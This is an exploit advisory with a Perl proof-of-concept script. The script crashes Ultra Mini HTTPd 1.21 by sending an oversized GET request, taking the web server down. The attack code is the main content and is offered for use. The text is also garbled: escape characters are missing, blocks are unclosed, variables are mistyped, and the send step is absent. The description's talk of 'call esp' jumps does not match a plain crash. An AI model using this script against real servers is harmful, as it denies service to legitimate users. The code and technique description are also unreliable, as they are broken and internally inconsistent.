Authored by Fernando Mengali

Ultra Mini HTTPd version 1.21 suffers from a denial of service vulnerability.

# Exploit Title: Ultra Mini HTTPd 1.21 - Denial of Service (DoS)
# Discovery by: Fernando Mengali
# Discovery Date: 2024-01-01
# Vendor Homepage:
# Software Link:
# Notification vendor: Yes reported
# Tested Version: Ultra Mini HTTPd 1.21
# Tested on: Window XP Professional - Service Pack 2 and 3 - English
# Vulnerability Type: Denial of Service (DoS)
# VĂ­deo:

#1. Description

#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static 'call esp'
#Backwards jump to code a known distance from the stack pointer.
#The server did not properly handle request with large amounts of data via GET.
#The following request sends a large amount of data to the web server to process, the server will crash as soon as it is received and processed, causing denial of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC


if ($sis eq "windows"){
} else {



print "[+] Exploiting... n";

my $buffer = "x41"x192;

my $payload = 'A' x 5438 . $buffer;
my $i=0;
while (i < 1) {

my $socket = IO::Socket::INET->new(
PeerAddr => $ip,
PeerPort => $port,
Proto => 'tcp',
) or die "Can't connect!!!!! nn";
my $payload = "GET / $payload HTTP/1.1rnHost:$iprnrn";

print "[+] Exploited success!!!!!nn";

sub intro {
print "***************************************************n";
print "* Ultra Mini HTTPd 1.21 - Denied of Service *n";
print "* *n";
print "* Coded by Fernando Mengali *n";
print "* *n";
print "* e-mail: [email protected] *n";
print "* *n";
print "***************************************************n";

sub main {

our ($ip, $port) = @ARGV;

unless (defined($ip) && defined($port)) {

print " nUsage: $0 <ip> <port> n";


#3. Solution/ How to fix:

# This version product is deprecated.